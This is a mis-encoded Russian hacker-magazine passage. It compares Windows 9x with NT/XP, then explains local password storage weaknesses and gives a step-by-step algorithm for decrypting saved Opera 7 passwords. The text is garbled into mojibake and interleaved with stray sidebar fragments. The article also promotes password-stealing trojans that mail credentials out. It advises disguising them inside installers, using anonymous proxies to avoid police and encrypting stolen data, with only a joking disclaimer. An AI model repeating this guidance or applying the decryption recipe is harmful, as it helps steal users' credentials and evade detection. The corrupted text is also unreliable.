âîâñå íå ïîëó÷èòü óïðàâëåíèå.

Ïëàíèðîâùèê Windows 9x èñïîëü-
çóåò äîâîëüíî ïðîñòûå àëãîðèòìû
ðàñïðåäåëåíèÿ ïðîöåññîðíîãî âðå-
ìåíè, îïðàâäûâàþùèå ñåáÿ òîëüêî
ïðè íåáîëüøîé ÷èñëåííîñòè ïîòîêîâ
ñ èäåíòè÷íûì ïðèîðèòåòîì.
Ñîáñòâåííî ãîâîðÿ, ðåäêèé îôèñíûé
ïîëüçîâàòåëü ðàáîòàåò áîëåå ÷åì ñ
äâóìÿ-òðåìÿ ïðèëîæåíèÿì îäíîâðå-
ìåííî, ïîýòîìó íà ïðîèçâîäèòåëü-
íîñòü ñèñòåìû êà÷åñòâî ïëàíèðîâà-
íèÿ ïðàêòè÷åñêè íå âëèÿåò. Ôàêòè-
÷åñêè ðàçðûâ ìåæäó Windows 9x è
Windows NT óäàåòñÿ çàìåòèòü òîëüêî
íà ñåðâåðíûõ ïðèëîæåíèÿõ.

ÇÀÙÈÙÅÍÍÎÑÒÜ: ÄÎÁÐÎ-
ÂÎËÜÍÛÉ ÇÀÊËÞ×ÅÍÍÛÉ

Ãëàâíîå ïðåèìóùåñòâî Windows
NT ïåðåä Windows 9x � ýòî, áåññïîð-
íî, åå çàùèùåííîñòü. Ñèñòåìà ïîë-
íîñòüþ êîíòðîëèðóåò äîñòóï êî âñåì
ñèñòåìíûì ðåñóðñàì, ÷òî ïðè ïðà-
âèëüíîé ïîëèòèêå àäìèíèñòðèðîâà-
íèÿ ñóùåñòâåííî ïîíèæàåò âåðîÿò-
íîñòü óòå÷êè êîíôèäåíöèàëüíûõ
äàííûõ èëè èõ ðàçðóøåíèÿ. Îäíàêî
áîëüøèíñòâó äîìàøíèõ è îôèñíûõ

ïîëüçîâàòåëåé ïðîñòî íå÷åãî çàùè-
ùàòü è íå îò êîãî. Äà è î êàêîé çàùè-
òå ìîæåò èäòè ðå÷ü, åñëè ïîäàâëÿþ-
ùåå áîëüøèíñòâî óñòàíîâèâøèõ
Windows NT ïîñòîÿííî âõîäÿò â ñèñ-
òåìó ïîä Àäìèíèñòðàòîðîì?!

Ñ îáûâàòåëüñêîé òî÷êè çðåíèÿ,
Windows 9x ìîæåò ïîêàçàòüñÿ áîëåå
äðóæåëþáíà è äåìîêðàòè÷íà, ÷åì
Windows NT, êîòîðàÿ áëîêèðóåò ïðÿ-
ìîé äîñòóï ê îáîðóäîâàíèþ, íàðóøàÿ
ðàáîòîñïîñîáíîñòü ìíîãèõ MS-DOS-
ïðîãðàìì (è äðóãîãî äðåâíåãî ñîôòà).
Íî MS-DOS ñåãîäíÿ óæå äàâíî ïî÷èò-
ñÿ â áîçå.

Ê òîìó æå, ñëåäóåò ïîìíèòü, ÷òî âñå
çàùèòû ñîçäàþòñÿ â ïåðâóþ î÷åðåäü
äëÿ ÷åñòíûõ ëþäåé. Óâèäÿò íà äâåðè
àìáàðíûé çàìîê, ïîäåðãàþò-ïîäåðãàþò
è îòîéäóò. Íàäîëãî çàäåðæàòü òàëàíò-
ëèâîãî âçëîìùèêà (èëè áåçäàðíîãî

âçëîìùèêà ñ îãðîìíûì ëîìîì) íè îäèí
çàìîê íå ñìîæåò! Íå ñòîèò ëèøàòü ñåáÿ
âñåõ ðàäîñòåé æèçíè, óñòàíàâëèâàÿ
óíûëûå ðåøåòêè íà îêíà è íàòÿãèâàÿ
ïîâåðõ çàáîðà êîëþ÷óþ ïðîâîëîêó :).

ÇÀÊËÞ×ÅÍÈÅ
Ó êàæäîãî ÷åëîâåêà ñâîè ïðåäïî÷-

òåíèÿ. Êîìó-òî íðàâèòñÿ Windows 98, à
êòî-òî òàùèòñÿ îò Windows XP. Íî ïðè
âñåì óâàæåíèè ê îáåèì ñèñòåìàì íàäî
ïðèçíàòü, ÷òî ÿâíûõ ëèäåðîâ íåò è áûòü
íå ìîæåò. Microsoft ïûòàåòñÿ ñîçäàòü èç
Windows NT óíèâåðñàëüíóþ ñèñòåìó, êî-
òîðàÿ áû óäîâëåòâîðÿëà âñåõ, ÷òî íå-
âîçìîæíî ïî îïðåäåëåíèþ! Íåîäíîê-
ðàòíî âûñêàçûâàëîñü ìíåíèå, ÷òî ýòî
ôàòàëüíàÿ îøèáêà, êîòîðàÿ ïðèâåäåò
êîìïàíèþ ê ãèáåëè, îñîáåííî ïîñëå ñå-
ðèè äûð, îáíàðóæåííûõ â ïîñëåäíèõ
îïåðàöèîííûõ ñèñòåìàõ. E
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Äëÿ èçìå-
íåíèÿ àïïà-
ðàòíîé êîí-
ôèãóðàöèè
Windows 9x
äîñòàòî÷íî
ïåðåçàãðó-
çèòü ñèñòå-
ìó. Â
Windows XP
ïîðîé ïðè-
õîäèòñÿ ïå-
ðåóñòàíàâ-
ëèâàòü îñü
öåëèêîì.

Windows 9x
íå ïîääåð-
æèâàåò
ìíîãîïðî-
öåññîð-
íîñòü â
ïðèíöèïå
(êîãäà åå
ïèñàëè, î
ìíîãîïðî-
öåññîðíûõ
êîìïüþòå-
ðàõ è íå
ìå÷òàëè).
Windows 9x
âñåãäà çà-
äåéñòâóåò
ëèøü îäèí
èç ïðîöåññî-
ðîâ, åñëè èõ
íåñêîëüêî.

ÍÓÊËÎÍÍÀß ÑÌÅÑÜ6 ÂÂÅÄÅÍÈÅ

Òåêóùèé ãîä ïðèíåñ ðÿä çíà÷è-
òåëüíûõ ñîáûòèé â îáëàñòè èí-
ôîðìàöèîííûõ òåõíîëîãèé. Ëåòîì
2004 ãîäà êîìïàíèÿ Microsoft çà-
êîí÷èëà ïîääåðæêó îïåðàöèîí-
íûõ ñèñòåì Windows 98 è NT 4.0.
Õîòÿ â ñâîå âðåìÿ ÿ ïåðåøåë ñ
OS/2 Merlin íà Windows 95 òîëüêî
äëÿ ðàáîòû ñ Mathcad, 98-ÿ äî-
âîëüíî äîëãî æèëà ó ìåíÿ â ìóëü-
òèçàãðóçêå ñ NT 4.0, ïîñêîëüêó
Quake (òîãäà åùå ïåðâûé) ïðè çà-
ïóñêå ïîä Windows NT íàïîìèíàë
slide-show. Ïîñëå âûõîäà Windows
2000 îïåðàöèîíêè NT 4.0 è 98
ïîñòåïåííî èñ÷åçëè èç àäìèíèñò-
ðèðóåìûõ ìíîé ñåòåé, è ñåé÷àñ ÿ,
÷åñòíî ãîâîðÿ, óñïåë ïîçàáûòü,
êàê îíè âûãëÿäÿò :). 

×òî äåëàòü, âðåìÿ íå ñòîèò íà ìåñòå. Ïóñêàé òîò, êòî íå ìîæåò çà-
ìåíèòü â XP HAL èëè äðàéâåð êîíòðîëëåðà HDD áåç ïåðåóñòàíîâ-
êè, ñêó÷àåò ïî ïîñòîÿííûì ïåðåçàãðóçêàì 98-é (íàäî îòäàòü åé
äîëæíîå, íà ñîâðåìåííîì æåëåçå îíà ýòî äåëàåò ìàñòåðñêè), íî
ìû äîëæíû ñìîòðåòü â áóäóùåå. 

Ó êàæäîé îïåðàöèîííîé ñèñòåìû åñòü ñâîå ìåñòî ïîä ñîëíöåì. Íå ñó-
ùåñòâóåò óíèâåðñàëüíîé ñèñòåìû íà âñå ñëó÷àè æèçíè. Ëþáîé óíè-
âåðñàëèçì ïðèâîäèò ê òîìó, ÷òî ñèñòåìà ñòàíîâèòñÿ íåïîâîðîòëèâîé
è íåóïðàâëÿåìîé. Åñëè òû èñïîëüçóåøü ñâîþ ìàøèíó, òîëüêî ÷òîáû
ãîíÿòü Counter Strike èëè Doom III, ïðîùå êóïèòü èãðîâóþ ïðèñòàâêó.
Åñëè îñíîâíàÿ òâîÿ çàäà÷à � áûñòðî êîìïèëèðîâàòü ñâåæèé ýêñïëî-
èò, âîçìîæíî, ëó÷øå áóäåò ïîñòàâèòü *nix.

Â Windows XP åñòü âñåãî ïîíåìíîãó äëÿ íîðìàëüíîé ðàáîòû. ×òîáû
îíà äåëàëà òîëüêî òî, ÷òî íóæíî òåáå, åå íåîáõîäèìî íàñòðàèâàòü. À
äëÿ ýòîãî íàäî çíàòü, ÷òî òû îò íåå õî÷åøü è êàê ýòîãî äîáèòüñÿ. Òàê
÷òî âïåðåä! Íå èùè ëåãêèõ ïóòåé è íå ñëóøàé ëþäåé, ïóòàþùèõ RPC
ñ DCOM, à NetBIOS ñ 445-ì ïîðòîì. Êîïàé â ãëóáü è âøèðü. È âñåãäà,
ñîåäèíÿÿñü ñ èíåòîì, ïîìíè, ÷òî ÷åðåç ñåòü íå òîëüêî òû ñìîòðèøü íà
ìèð, íî è âåñü ìèð ñìîòðèò íà òåáÿ. È îò òåáÿ çàâèñèò, ÷åì ñòàíåò ñåòü
- ïðèáåæèùåì ìåëêîãî õóëèãàíüÿ èëè ïðîèçâåäåíèåì èñêóññòâà.

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ

offtopic, ïðîôåññèîíàë â îáëàñòè IT-
áåçîïàñíîñòè, ïîñòîÿííûé àâòîð è
ìîäåðàòîð ôîðóìîâ ïðîåêòà
Securitylab.ru, MCSE è MCT





coban2k (coban@pisem.net)

Ï àðîëè âñåãäà ÿâëÿëèñü ñðåäñòâîì îãðàíè÷åíèÿ äîñòóïà ê êàêîé-ëèáî èíôîðìàöèè, õîòÿ îñîáîå ðàñïðîñòðàíåíèå ïî-
ëó÷èëè ëèøü ñ ðàçâèòèåì êîìïüþòåðíîé òåõíèêè è èíòåðíåòà. Âñå ÷àùå õðàíåíèå êîíôèäåíöèàëüíûõ äàííûõ

ïîëüçîâàòåëè äîâåðÿþò êîìïüþòåðó, ÷òî ïðèâîäèò ïîðîé ê ïå÷àëüíûì ïîñëåäñòâèÿì.
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ÏÀÐÎËÈ: 
Ñ ×ÅÌ ÈÕ ÅÄßÒ

Â íàñòîÿùåå âðåìÿ
áîëüøàÿ ïðîáëåìà -
äàâíî óñòàðåâøèå

ñòàíäàðòû (RFC), ìíîãèå èç êîòîðûõ
óòâåðæäåíû åùå â íà÷àëå 90-õ. Ê
ïðèìåðó, âîçüìåì îáùåèçâåñòíûé e-
mail. Äëÿ ïîëó÷åíèÿ ïî÷òû íåîáõîäè-
ìî óêàçàòü ïàðîëü, çíà÷èò, åãî íàäî
ëèáî êàæäûé ðàç ââîäèòü ïðè ïðèåìå,
ëèáî õðàíèòü ãäå-òî íà äèñêå. Ââåäåí-
íàÿ èíôîðìàöèÿ ïåðåäàåòñÿ â îòêðû-
òîì âèäå, òî åñòü ïåðåõâàòèòü åå òðó-
äà íå ñîñòàâëÿåò, òàê æå, êàê è âîññòà-
íîâëåíèå ñîõðàíåííîãî ïàðîëÿ, èìåÿ
ôèçè÷åñêèé äîñòóï ê êîìïüþòåðó. Êî-
íå÷íî, ñòàíäàðòû ýòè ðàñøèðÿþòñÿ,
ââîäÿòñÿ ñëîæíûå ñõåìû àóòåíòèôè-
êàöèè (äëÿ e-mail, íàïðèìåð, CRAM-
MD5), íî òî ëè àäìèíèñòðàòîðû ëåíè-
âûå, òî ëè ïðîãðàììèñòû - ðàñøèðå-
íèÿ ýòè íå ïîëó÷èëè ïîêà ìàññîâîãî
ðàñïðîñòðàíåíèÿ. 

Âîîáùå, äîñòóï íåîáÿçàòåëüíî äîë-
æåí îãðàíè÷èâàòüñÿ êîäîâûì ñëîâîì -
ýòî ìîãóò áûòü è äåâàéñ âðîäå USB-
token'à, ñìàðò-êàðòû, SSL-ñåðòèôèêàòà
è ò.ï. Ïîïóëÿðíî ïðè àâòîðèçàöèè èñ-
ïîëüçîâàíèå õåøåé. Õåø ÿâëÿåòñÿ íå-
êèì áîëüøèì ÷èñëîì, ñãåíåðèðîâàí-
íûì ïî îïðåäåëåííîìó àëãîðèòìó, êàæ-
äîå òàêîå ÷èñëî ñîîòâåòñòâóåò îäíîìó
èñõîäíîìó çíà÷åíèþ. Ïðîñòåéøèé àë-
ãîðèòì - ñëîæåíèå ASCII-êîäîâ âñåõ
ñèìâîëîâ ñòðîêè (ïàðîëÿ): 1234 = êîä(1)
+ êîä(2) + êîä(3) + êîä(4) =
41+42+43+44 = 170 (170 õåø ñòðîêè
"1234"). Î÷åâèäíî, ÷òî óçíàòü ïî õåøó
èñõîäíóþ ñòðîêó íåâîçìîæíî, êðîìå
êàê ïîëíûì ïåðåáîðîì âñåõ çíà÷åíèé.
Ñåðâåð õðàíèò òîëüêî õåø, à êëèåíò
ôîðìèðóåò åãî èç ñîõðàíåííîé/ââå-
äåííîé ñòðîêè ëèáî õðàíèò óæå ñôîð-
ìèðîâàííûì. Ïðè àâòîðèçàöèè âìåñòî
ñðàâíåíèÿ ñòðîê ïðîèñõîäèò ñðàâíå-
íèå õåøåé - èñêëþ÷åí ïåðåõâàò ïàðîëÿ
êàê ïî ñåòè, òàê è ëîêàëüíî. Õîòÿ äëÿ
áîëüøèíñòâà ïîïóëÿðíûõ àëãîðèòìîâ
(MD5, SHA1, GOST) ïåðåáîð âñåõ âàðè-
àíòîâ ñòðîê äëèíîé äî 8 ñèìâîëîâ ìî-
æåò áûòü âûïîëíåí çà íåñêîëüêî ÷à-
ñîâ, ïîýòîìó èìååò ñìûñë èñïîëüçî-
âàòü â ïàðîëå íå ìåíåå 12 ñèìâîëîâ.

ÓßÇÂÈÌÎÑÒÈ
ËÎÊÀËÜÍÛÕ ÏÀÐÎËÅÉ

Ìîæíî âûäåëèòü íåñêîëüêî ãðóïï
óÿçâèìîñòåé:

Ñëàáûå àëãîðèòìû. 90% ðàçðà-
áîò÷èêîâ ïðîãðàììíîãî îáåñïå÷åíèÿ
îáëàäàþò íóëåâûìè çíàíèÿìè â îá-
ëàñòè êðèïòîãðàôèè, ïîýòîìó ïðèäó-
ìûâàþò êðàéíå ïðîñòûå àëãîðèòìû.

Îøèáêè â ñîôòå. Áûë, ê ïðèìåðó,
íåêèé ìåíåäæåð çàêà÷êè, èìÿ è ïà-
ðîëü ê ñàéòàìè øèôðîâàëèñü îäèíà-
êîâûì àëãîðèòìîì. Ïàðîëü íå ïîêàçû-
âàëñÿ, íî âûâîäèëîñü èìÿ ïîëüçîâà-
òåëÿ. Òàê âîò, åñëè ïîìåíÿòü ìåñòàìè
èìÿ è ïàðîëü â ôàéëå êîíôèãóðàöèè,
òî íà ìåñòå èìåíè áóäåò âûâåäåí ðàñ-
øèôðîâàííûé ïàðîëü.

Ïîïóëÿðíûå àëãîðèòìû. DES
(3DES) â CBC-ðåæèìå ñ ïîñòîÿí-

íûì êëþ÷îì è Base64. Ïðèðàâíè-
âàåòñÿ ê "ñëàáûì" èç-çà ëåãêîãî
àíàëèçà. Èíîãäà äîñòàòî÷íî çàïóñ-
òèòü PeID, êîòîðûé ïî îáùåèçâåñò-
íûì êîíñòàíòàì è òàáëèöàì îïðå-
äåëèò âñå èñïîëüçóåìûå àëãîðèò-
ìû â ïðîãðàììå. 

Íåîáõîäèìîñòü îáðàòíîãî äåêðèï-
òà. Äëÿ ïî÷òû è âåáà ñêîëüêî áû òû
íè øèôðîâàë ïàðîëü, åãî âñå ðàâíî
ïðèäåòñÿ ðàñøèôðîâàòü äëÿ ïåðåäà-
÷è â îòêðûòîì âèäå ñåðâåðó.

Âûâîä çâåçäî÷åê â îêíå. Âìåñòî ïà-
ðîëÿ ñòàíäàðòíûé êîíòðîëü Âèíäîâ âû-
âîäèò çâåçäî÷êè (****), ÷òî î÷åíü ëåãêî
îáõîäèòñÿ ñîôòîì òèïà PassView.

Êåéëîã. Ïðàêòè÷åñêè ëþáîé ïà-
ðîëü ìîæíî ñòàùèòü ïðè åãî ââîäå,
åñëè íà ñèñòåìå óñòàíîâëåí êåéëîã.
Çàùèòà îò íåãî åñòü, íî ñïîðíàÿ, òàê
êàê îò èñïîëüçîâàíèÿ íèçêîóðîâíå-
âûõ äðàéâåðîâ íè÷åãî íå ñïàñåò
(îáû÷íî êåéëîã ðåàëèçóåòñÿ ñ ïî-
ìîùüþ ëîâóøåê - hooks).
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Äëÿ áîëüøèíñòâà ïîïóëÿðíûõ àëãîðèòìîâ
(MD5, SHA1, GOST) ïåðåáîð âñåõ âàðèàíòîâ

ñòðîê äëèíîé äî 8 ñèìâîëîâ ìîæåò áûòü
âûïîëíåí çà íåñêîëüêî ÷àñîâ.



Íåáîëüøàÿ äëèíà. Ýòî àêòóàëüíî
äëÿ õåøåé. Åñëè õåø õðàíèòñÿ âìåñòî
ïàðîëÿ, íî ïàðîëü î÷åíü êîðîòêèé, òî
íà åãî âîññòàíîâëåíèå ìîæåò óéòè
âñåãî íåñêîëüêî ñåêóíä. Íà îñíîâå
ýòîé óÿçâèìîñòè ïîäáèðàåòñÿ ëîêàëü-
íûé àäìèíñêèé ïàðîëü íà NT-ñèñòå-
ìàõ. Ïðè ñîõðàíåíèè îí äåëèòñÿ íà
äâå ÷àñòè ïî 8 ñèìâîëîâ (îñòàëüíûå
ñèìâîëû îòáðàñûâàþòñÿ), êàæäàÿ èç

÷àñòåé ïåðåâîäèòñÿ â âåðõíèé ðå-
ãèñòð è õåøèðóåòñÿ. Ïîíÿòíî, ÷òî äëè-
íà ïàðîëÿ è êîëè÷åñòâî âàðèàíòîâ
ïîäáîðà ìàëû. Â ïîñëåäíèõ ñåðâèñïà-
êàõ ñèñòåìà çàùèòû áûëà óëó÷øåíà.
Ïðèìåíÿåòñÿ òàê íàçûâàåìûé àëãî-
ðèòì syskey äëÿ øèôðîâàíèÿ äàííûõ
î ëîêàëüíûõ ïîëüçîâàòåëÿõ (ïðîâå-
ðèòü íàëè÷èå è óñòàíîâèòü çàùèòó
ìîæåò êàæäûé: îòêðûòü Ïóñê -> Âû-
ïîëíèòü, è ââåñòè êîìàíäó syskey). 

Ïðîñòîé ôîðìàò õðàíèìûõ äàí-
íûõ. Íàïðèìåð, èç-çà ñëîæíîãî ôîð-
ìàòà .dat-ôàéëîâ â CuteFTP íå ñóùå-
ñòâóåò ïîêà íîðìàëüíûõ äåøèôðîâ-
ùèêîâ. Ñëîæíàÿ ñòðóêòóðà íå ïîçâî-
ëÿåò íàéòè â ôàéëå íóæíûå ñòðîêè ñ
øèôðîâàííûìè ïàðîëÿìè è äàííûìè
î ñàéòàõ, ïðè ýòîì ñàì àëãîðèòì äå-
øèôðîâêè ïàðîëÿ ïðîñò.

ÕÐÀÍÅÍÈÅ
Ãäå ìîãóò õðàíèòüñÿ ïàðîëè:

1. Ðååñòð/ôàéëû. Ðàçðàáîò÷èêè
÷àñòî çäåñü õðàíÿò âñå íàñòðîéêè,
âêëþ÷àÿ ïàðîëè, èç-çà íåñëîæíîãî
WinAPI.
2. Àëüòåðíàòèâíûå ïîòîêè NTFS. Íàï-

ðèìåð, "C:\somefile.txt:stream2", ïðè ýòîì
äàííûå somefile.txt è somefile.txt:stream2
áóäóò íåçàâèñèìû. Òàêèì îáðàçîì, äî-

Ïàðîëè, ÿâëÿÿñü ñàìûì ðàñïðî-
ñòðàíåííûì ìåòîäîì àóòåíòèôè-
êàöèè, - ñëàáîå çâåíî. Ïîòîìó ÷òî
èõ ïðèäóìûâàåò è èñïîëüçóåò ÷å-
ëîâåê. Åñëè åùå íå òàê äàâíî, ïî-
ëó÷èâ ïàðîëè ïîëüçîâàòåëÿ êîð-
ïîðàòèâíîé ñåòè, ìàêñèìóì, íà ÷òî
ìîæíî áûëî íàäåÿòüñÿ, � ôèçè-
÷åñêîå ïîäêëþ÷åíèå ê ñåòè èëè
ïîäêëþ÷åíèå ÷åðåç dial-up, òî
ñåé÷àñ... Äîñòóï ê êîðïîðàòèâíîé
ïî÷òå ÷åðåç èíòåðíåò, äîñòóï ê ñå-
òè ÷åðåç VPN, âçëîì áåñïðîâîä-
íîãî ñåãìåíòà � ýòî òîëüêî îñíîâ-
íûå ñëàáûå ìåñòà â êîðïîðàòèâ-
íîé ñåòè, êîòîðûìè ìîæíî âîñ-
ïîëüçîâàòüñÿ, ïîëó÷èâ ïàðîëü.
Õðàíåíèå ïàðîëåé â ñèñòåìå âñåã-
äà áûëî ñïîðíûì ìåõàíèçìîì.
Õåø îò ïàðîëÿ ìîæåò õðàíèòü
òîëüêî ñåðâåð. Íà ñòîðîíå êëèåíòà ïàðîëü íàäî õðàíèòü â îòêðûòîì
âèäå ëèáî â çàøèôðîâàííîì, íî îáðàòèìîì âèäå. Íî äëÿ òîãî ÷òîáû
çàøèôðîâàòü è ðàñøèôðîâàòü ïàðîëü, íóæíî èìåòü ñåêðåòíûé
êëþ÷. Âîïðîñ � ãäå åãî õðàíèòü. Ñåé÷àñ ðàçðàáàòûâàþòñÿ áîëåå çà-
ùèùåííûå ìåòîäû àóòåíòèôèêàöèè: õðàíåíèå ïàðîëåé íà ñìàðò-êàð-
òå, îäíîðàçîâûå ïàðîëè èëè àóòåíòèôèêàöèÿ ñ ïîìîùüþ ñåðòèôèêà-
òîâ. Åùå îäíî ïåðñïåêòèâíîå íàïðàâëåíèå - áèîìåòðè÷åñêàÿ àóòåí-
òèôèêàöèÿ, êîòîðàÿ, ê ñîæàëåíèþ, î÷åíü ìåäëåííî ðàçâèâàåòñÿ.  
Ìíîãèå ñðåäñòâà ìíîãîôàêòîðíîé àóòåíòèôèêàöèè ñòîÿò íåäîðîãî.
Ê ïðèìåðó, ñèñòåìó äëÿ õðàíåíèÿ ïàðîëåé íà ñìàðò-êàðòå ìîæíî
êóïèòü äîëëàðîâ çà òðèäöàòü. Íî è â íåé ïðèñóòñòâóåò ñåêðåòíûé
ïàðîëü - äëÿ äîñòóïà ê êàðòî÷êå, ïðîùå ãîâîðÿ, PIN.

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ

offtopic, ïðîôåññèîíàë â îáëàñòè IT-
áåçîïàñíîñòè, ïîñòîÿííûé àâòîð è
ìîäåðàòîð ôîðóìîâ ïðîåêòà
Securitylab.ru, MCSE è MCT
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âîëüíî ïðîñòî ñïðÿòàòü ôàéë îò ïîñòî-
ðîííèõ ãëàç. Ê ñîæàëåíèþ, ìåòîä íå
ïðîõîäèò íà FAT16/FAT32.
3. LSA (Local Security Authority), ÿâëÿ-

åòñÿ çàùèùåííîé ïîäñèñòåìîé
Windows, èñïîëüçóåìîé äëÿ àóòåíòèôè-
êàöèè è ó÷åòà ëîêàëüíûõ ïîëüçîâàòå-
ëåé, íî òàêæå ïîçâîëÿåò õðàíèòü çàùè-
ùåííûå äàííûå ãäå-òî â ñâîèõ íåäðàõ.
Ìåòîä íà ïîðÿäîê ñëîæíåå ïåðâûõ äâóõ.
4. Protected Storage - ñïåöèàëüíûé

ñåðâèñ äëÿ õðàíåíèÿ êîíôèäåíöè-
àëüíîé èíôîðìàöèè, ïðèñóòñòâóåò â
9x- è NT-ñèñòåìàõ, íå äîêóìåíòèðî-
âàí. Â îñíîâíîì èñïîëüçóåòñÿ ïðîã-
ðàììàìè Microsoft (IE, MSN, Outlook),
ôèçè÷åñêè ÿâëÿåòñÿ ñêðûòîé øèôðî-
âàííîé âåòâüþ ðååñòðà. Â îòëè÷èå îò
LSA, Protected Storage îáëàäàåò äðå-
âîâèäíîé ñòðóêòóðîé è äàåò âîçìîæ-
íîñòü èñïîëüçîâàòü íåñêîëüêî óðîâ-
íåé áåçîïàñíîñòè, òî åñòü ïåðåä ÷òå-
íèåì Item'îâ ñ âûñîêèì óðîâíåì áå-
çîïàñíîñòè áóäåò çàïðàøèâàòüñÿ ïà-
ðîëü. Ìèíóñ - ïîä NT ìîæíî îñòàíî-
âèòü ýòîò ñåðâèñ. 

ÀËÃÎÐÈÒÌ ÄÅØÈÔÐÎÂÊÈ
ÍÀ ÏÐÈÌÅÐÅ OPERA 7

Opera ñåé÷àñ ÿâëÿåòñÿ îäíèì èç íà-
èáîëåå áûñòðûõ è óäîáíûõ áðàóçåðîâ.
Äëÿ îáëåã÷åíèÿ çàïîìèíàíèÿ ïàðîëåé,
ïî àíàëîãèè ñ IntelliForms â Internet
Explorer, áûë ñîçäàí Password Wand.
Ïðè ââîäå ïàðîëÿ îí ïðåäëàãàåò åãî
ñîõðàíèòü, è ïðè ïîâòîðíîì ïîñåùåíèè
ñàéòà/àâòîðèçàöèè íóæíî óêàçàòü
ëèøü èìÿ ïîëüçîâàòåëÿ, à ïàðîëü ïîäñ-
òàâëÿåòñÿ àâòîìàòè÷åñêè. Âñå ââåäåí-
íûå äàííûå õðàíÿòñÿ â ôàéëå wand.dat
(îïèñàíèå - íà îôèöèàëüíîì ñàéòå). 

Èòàê, ñîõðàíåííûé ïàðîëü ñîñòîèò
èç äâóõ ÷àñòåé: 8-áàéòîâûé êëþ÷ è
øèôðîâàíàÿ ñòðîêà, ðàçìåð êîòîðîé

êðàòåí 8. Äëÿ äåøèôðîâêè íåîáõîäè-
ìî ïðîäåëàòü ñëåäóþùèå îïåðàöèè:
1. Âçÿòü MD5-õåø îò ìàãè÷åñêîãî

ìàññèâà (ýòîò ìàññèâ-âåêòîð ñîñòîèò
èç áàéò {0x83, 0x7D, 0xFC, 0x0F, 0x8E,
0xB3, 0xE8, 0x69, 0x73, 0xAF, 0xFF} è
âîñüìè áàéò êëþ÷à.
2. Âçÿòü MD5-õåø îò õåøà, ïîëó-

÷åííîãî â ïðåäûäóùåì øàãå, è âîñü-
ìè áàéò êëþ÷à.
3. Èñïîëüçîâàòü îáùåèçâåñòíûé

3DES (òðîéíîé DES) â ðåæèìå CBC
äëÿ äåøèôðîâêè ïàðîëÿ. IV ïðè ýòîì
ðàâåí õåøó, ïîëó÷åííîìó âî âòîðîì
øàãå (ïåðâûå 8 áàéò). 192-áèòîâûé
êëþ÷ ðàâåí õåøó, ïîëó÷åííîìó â ïåð-
âîì øàãå, ïëþñ 8 áàéò IV.
4. Ïîñëåäíèé äåøèôðîâàííûé áàéò -

êîëè÷åñòâî íåèñïîëüçóåìîé ÷àñòè áëî-
êà (èç-çà êðàòíîñòè 8 áàéòàì). Óäàëÿåì.

Çàòåì âûâîäèì ïàðîëü, êîòîðûé
âñåãäà õðàíèòñÿ â UNICODE. Äåøèô-
ðîâêà ïàðîëåé îò âñòðîåííîãî â Opera
ïî÷òîâîãî êëèåíòà ïðîõîäèò ïî òîé
æå ñõåìå, îòëè÷èå òîëüêî â ìàãè÷åñ-
êîì ìàññèâå: {0x83, 0xC4, 0x04, 0x83,
0x7D, 0xE4, 0x01, 0x75, 0x05, 0x83,
0xC8, 0xFF, 0xEB, 0x3A}.

ÑÐÅÄÑÒÂÀ ÄËß ÄÎÁÛÂÀÍÈß
Ñàìûé ïîïóëÿðíûé ìåòîä äîáûâà-

íèÿ ïàðîëåé - ìûëüíûå ïîíè :). Èõ ñó-
ùåñòâóåò âåëèêîå ìíîæåñòâî, ðàçìå-
ðîì îò 5 Êá äî 1 Ìá. Îáúåäèíÿåò èõ îä-
íà çàäà÷à - âûòÿíóòü êàê ìîæíî áîëü-
øå èíôîðìàöèè è îòîñëàòü ïàðîëè àâ-
òîðó íà ìûëî, ìèíóÿ îãíåñòåíêó è ïðî-
òèâîâèðóñ, åñëè òàêèå â íàëè÷èè ó
æåðòâû. Íî íå ñòîèò êèäàòüñÿ êàê ãî-
ëîäíûé âîëê íà ïîëó÷åííûå äàííûå.
Íàäî âî âñåì çíàòü ìåðó è îáåðåãàòü
ñåáÿ ëþáèìîãî îò íåïðèÿòíîñòåé -
áëþñòèòåëè çàêîíà íå äðåìëþò. Åñëè
ïðèíÿòûå ïàðîëè ñâÿçàíû ñ âåáîì èëè
FTP, òî áåç àíîíèìíîãî ïðîêñè íè-íè. 

Âïàðèâàòüñÿ ìûëüíûå ïîíè ìîãóò êàê
óãîäíî. Ïîä ïðåäëîãîì ëåêàðñòâà îò ãî-
ëîâíîé áîëè, êðÿêåðà èíòåðíåòà, óñêî-
ðèòåëÿ çàêà÷êè, íî êóë õàöêåð îáÿçàí
ñêëåèòü ïîíè ñ ÷åì-òî äîáðûì è õîðî-
øèì. Ïî êðàéíå ìåðå, çàïèõíóòü â èíñ-
òàëëÿòîð èëè ïðèäóìàòü ÷òî-òî ñâîå. 

×ÒÎ ÄÅËÀÒÜ Ñ ÄÎÁÛÒÛÌÈ
ÏÀÐÎËßÌÈ?

Äà ÷òî óãîäíî! Ìîæíî èìè ëþáî-
âàòüñÿ, õâàëèòüñÿ è âîñõèùàòüñÿ :).
Ïðàâäà, åñëè ýòî ïàðîëü îò FTP fsb.ru
èëè ÷òî-òî.gov, ñîâåò - òðèæäû ôîðìàò-
íóòü âèíò, ïðîäàòü êâàðòèðó è óåõàòü
æèòü â äåðåâíþ, æåëàòåëüíî àôðèêà-
íñêóþ, êóäà åùå íå äîøëî ýëåêòðè÷å-
ñòâî. Ïàðîëè ìîæíî õðàíèòü íà ÷åð-
íûé äåíü, íî äëÿ ýòîãî íåîáõîäèìî èñ-
ïîëüçîâàòü PGP-äèñê äëÿ øèôðîâêè
âñåõ ïðîáëåìíûõ äàííûõ. Òîãäà, åñëè
âëîìÿòñÿ äÿäüêè â ïîãîíàõ, âåðîÿò-
íîñòü íàéòè ÷òî-ëèáî íåãàòèâíîå áó-
äåò ñâåäåíà ê íóëþ. À âîîáùå, ïðîòè-
âîçàêîííûìè âåùàìè íå ñòîèò çàíè-
ìàòüñÿ, ðàçâå ÷òî ìîæíî ïîýêñïåðè-
ìåíòèðîâàòü íàä ñâîåé ñèñòåìîé :).

Ê ñîæàëåíèþ, ðàçðàáîò÷èêè ñîôòà î
áåçîïàñíîñòè ñâîèõ ïîëüçîâàòåëåé
çàäóìûâàþòñÿ ðåäêî èëè íå çàäóìû-
âàþòñÿ âîîáùå. Ïîýòîìó êàæäûé äîë-
æåí ðåøàòü ýòó ïðîáëåìó ñàìîñòîÿ-
òåëüíî. ×åðïàé èíôîðìàöèþ èç ðàç-
ëè÷íûõ îíëàéí-èñòî÷íèêîâ. E
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Â 9x- è NT-
ñèñòåìàõ
äëÿ õðàíå-
íèÿ êîíôè-
